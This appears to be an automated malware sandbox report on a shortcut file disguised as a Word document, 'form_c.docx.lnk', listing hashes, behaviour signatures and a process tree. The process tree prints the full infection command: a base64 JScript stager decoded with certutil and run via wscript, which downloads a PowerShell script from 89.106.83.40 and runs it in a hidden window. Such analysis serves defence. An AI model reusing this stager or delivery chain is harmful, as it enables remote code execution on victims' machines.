Analysis
- max time kernel
299s - max time network
4s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
15/07/2026, 04:31
Static task
static1
Behavioral task
behavioral1
Sample
form_c.docx.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
form_c.docx.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral3
Sample
summ.xlsx.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
summ.xlsx.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral5
Sample
works.xlsx.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral6
Sample
works.xlsx.lnk
Resource
win11ltsc2024-20260709-en
General
- Target form_c.docx.lnk
- Size 72KB
- Sample260715-e5hmcsev7s
- SHA256 76951b19b300a78e26d5b5f592f69ebacdf651bce90beedbf3c4d570a38ef5f3
- MD5 d0b7bbf4f54181f2cb7ead3bbcdaccb1
- SHA1 c0531fa22685a73d1633d54bf43a6360d2196819
- SHA512 4a8421c554ae747cc937130b265a1a4d0d7d306a025007566a3460329368bb8eb1db1e1bd35465e94c0580224322a7b01f41ba6fc2311ddc674b5e545e57f094
- SSDEEP 24:8d/B2xYnHRUPFyaWInZU8lvsx1WOHmnTZzs+m9lMAMI:8lcYnxUsanwDHHmtu9lMA
- TLSH T19773663075F91118E2F3EFB16DB4B6E58DAAF673697102195981030E4900E50FD61B3A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 1 4384 wscript.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4136 powershell.exe -
pid Process 5432 certutil.exe 2132 cmd.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4136 powershell.exe 4136 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4136 powershell.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4396 wrote to memory of 2132 4396 cmd.exe 88 PID 2132 wrote to memory of 5432 2132 cmd.exe 89 PID 2132 wrote to memory of 4384 2132 cmd.exe 90 PID 4384 wrote to memory of 4136 4384 wscript.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\form_c.docx.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9TdW1tL2NvbWJhdHBlbi5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > GV.b64 && certutil -decode GV.b64 Sqpf.js >nul && wscript //b Sqpf.js && del GV.b64 Sqpf.js"2⤵
- Deobfuscate/Decode Files or Information
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\system32\certutil.execertutil -decode GV.b64 Sqpf.js3⤵
- Deobfuscate/Decode Files or Information
PID:5432
-
-
C:\Windows\system32\wscript.exewscript //b Sqpf.js3⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 89.106.83.40 Port 80</address> </body></html>4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\GV.b64
- Size 400B
- SHA256 cdf821754530552b4b82a6eec71cb818eceb3094763b8ad8ff660dd6db193303
- MD5 744b68c188c01b5209bbd2a1baf1491c
- SHA1 95d5834d39681cf1cf8282c01b424a32b1bb7a7c
- SHA512 0701904f5862e208a5cf9944f1b8c6dc622685b227144eae7276d45d0d21a1f5e45d2549645ea40252d446d22e13345bd1d876c3caf4d993bf867599a7dc96b0
- TLSH T1CBE0F1CCF04F2373A6302206AFE5AB68F05C548415023BE20B406C8D3A1FA99D1070DD
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Sqpf.js
- Size 296B
- SHA256 56eff7b21dc562d45db416f38d147735b11982768f4e25fbf6000fdb277f7ee2
- MD5 89db9edce997e531729a20435a59329f
- SHA1 983a092e0450eb7c2cf78140f2a7b0265ae5d898
- SHA512 9d3a00ddc5ca5048fc2dbbad5ff85949f8873718d347723085e56aa5163b0b0467ab5807b7d6d38792c2ddfaca6a7f0171ee3768c8248dc9d6e55d1d4d0f1bb2
- TLSH T136E0EBA44070A0EE51CBDFECA460CB6042EF89B87002E8FFF704CED52490308566E28F
- MD5 SHA1 SHA512 TLSH